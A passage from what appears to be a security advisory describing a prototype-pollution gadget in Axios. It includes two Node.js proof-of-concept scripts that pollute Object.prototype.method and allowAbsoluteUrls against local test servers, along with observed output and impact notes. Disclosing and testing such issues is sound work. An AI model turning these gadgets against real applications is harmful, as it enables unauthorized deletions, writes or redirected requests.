Details
The script then deletes the polluted property:
delete Object.prototype.method;
Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends DELETE for axios.request({ url }) and axios({ url }), while the safe comparison paths still send GET.
Method Override PoC
Create validate-prototype-method-gadget.mjs:
import http from "node:http";
import axios from "axios";
async function listen(server) {
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
return server.address().port;
}
async function runRequest(label, requestFn) {
const hits = [];
const server = http.createServer((req, res) => {
hits.push({
method: req.method,
url: req.url,
});
res.writeHead(200, { "content-type": "application/json" });
res.end(JSON.stringify({ ok: true }));
});
const port = await listen(server);
const url = `http://127.0.0.1:${port}/${label}`;
let status = "completed";
let error = "";
try {
await requestFn(url);
} catch (err) {
status = "error";
error = err?.message || String(err);
}
server.close();
return { label, status, error, hits };
}
const results = [];
Object.prototype.method = "DELETE";
try {
results.push(await runRequest("default-request-no-method", (url) => axios.request({ url })));
results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url })));
results.push(await runRequest("default-get-alias", (url) => axios.get(url)));
results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));
const instance = axios.create();
results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url })));
} finally {
delete Object.prototype.method;
}
const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || "";
const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || "";
const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || "";
const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || "";
const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";
console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
console.log(`defaultRequestMethod=${defaultRequestMethod}`);
console.log(`defaultShorthandMethod=${defaultShorthandMethod}`);
console.log(`getAliasMethod=${getAliasMethod}`);
console.log(`explicitGetMethod=${explicitGetMethod}`);
console.log(`createdInstanceMethod=${createdInstanceMethod}`);
const confirmed =
defaultRequestMethod === "DELETE" &&
defaultShorthandMethod === "DELETE" &&
getAliasMethod === "GET" &&
explicitGetMethod === "GET" &&
createdInstanceMethod === "GET";
console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED");
process.exitCode = confirmed ? 0 : 1;
Run:
node validate-prototype-method-gadget.mjs
Observed result:
axiosVersion=1.17.0
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED
The local server received:
axios.request({ url }) -> DELETE
axios({ url }) -> DELETE
axios.get(url) -> GET
axios.request({ url, method:"GET" }) -> GET
axios.create().request({ url }) -> GET
This confirms that inherited Object.prototype.method controls the default method for vulnerable default-instance request paths.
Supporting allowAbsoluteUrls Gadget Evidence
The same inherited-property issue affects allowAbsoluteUrls.
Create validate-prototype-allowabsoluteurls-gadget.mjs:
import http from "node:http";
import axios from "axios";
async function listen(server) {
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
return server.address().port;
}
async function runCase(label, requestFn) {
const baseHits = [];
const absoluteHits = [];
const baseServer = http.createServer((req, res) => {
baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
res.end("base");
});
const absoluteServer = http.createServer((req, res) => {
absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
res.end("absolute");
});
const basePort = await listen(baseServer);
const absolutePort = await listen(absoluteServer);
try {
await requestFn({
baseURL: `http://127.0.0.1:${basePort}/api`,
url: `http://127.0.0.1:${absolutePort}/absolute-path`,
});
} catch {}
baseServer.close();
absoluteServer.close();
return { label, baseHits, absoluteHits };
}
const results = [];
results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));
Object.prototype.allowAbsoluteUrls = false;
try {
results.push(await runCase("polluted-default-request", (config) => axios.request(config)));
const instance = axios.create();
results.push(await runCase("polluted-created-instance", (config) => instance.request(config)));
} finally {
delete Object.prototype.allowAbsoluteUrls;
}
console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
Observed result:
axiosVersion=1.17.0
baselineUsedAbsolute=true
pollutedDefaultUsedBase=true
pollutedInstanceUsedAbsolute=true
RESULT: CONFIRMED
Without pollution, Axios sends the request to the absolute URL. After Object.prototype.allowAbsoluteUrls = false, the default Axios instance combines the absolute URL with baseURL and sends the request to the base server instead. An instance created with axios.create() remains unaffected.
Impact
This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on Object.prototype in the same Node.js process.
If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:
axios.request({ url })axios({ url })
This can turn an expected safe default GET request into a state-changing method such as:
DELETEPOSTPUTPATCH
Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.
The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as axios.get(), or isolated instances created through axios.create() are not affected by the confirmed method-override path.
</details>